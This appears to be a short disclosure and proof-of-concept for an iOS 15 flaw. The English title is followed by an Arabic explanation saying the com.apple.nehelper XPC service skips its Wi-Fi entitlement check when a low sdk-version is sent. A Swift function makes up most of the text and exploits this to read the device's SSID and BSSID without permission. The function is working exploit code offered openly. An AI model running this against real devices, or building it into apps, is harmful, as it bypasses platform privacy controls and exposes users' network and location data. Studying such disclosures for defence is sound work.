
iOS 15 0-day exploit (still works in 15.0.2)
لقد قمت بتحديث هذا الكود لتجنب استخدام واجهة برمجة التطبيقات الخاصة (Private API) مباشرة. اقرأ المزيد في مقالتي. ومع ذلك، هذا يعني أن هذا الكود الآن خاص بإصدار معين من iOS وربما خاص بطراز جهاز معين. لذا إذا لم يعمل على جهازك، أعد حساب الإزاحات وحدّثها في ملف c.c. يمكن العثور على الكود الأصلي في فرع direct.
تستقبل نقطة نهاية XPC com.apple.nehelper المعامل المُقدَّم من المستخدم sdk-version، وإذا كانت قيمته أقل من أو تساوي 524288، يتم تخطّي فحص الامتياز com.apple.developer.networking.wifi-info.
هذا يجعل من الممكن لأي تطبيق مؤهل (مثل التطبيقات التي تمتلك إذن الوصول إلى الموقع) الحصول على معلومات الواي فاي دون الامتياز المطلوب.
يحدث هذا في -[NEHelperWiFiInfoManager checkIfEntitled:] في /usr/libexec/nehelper.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}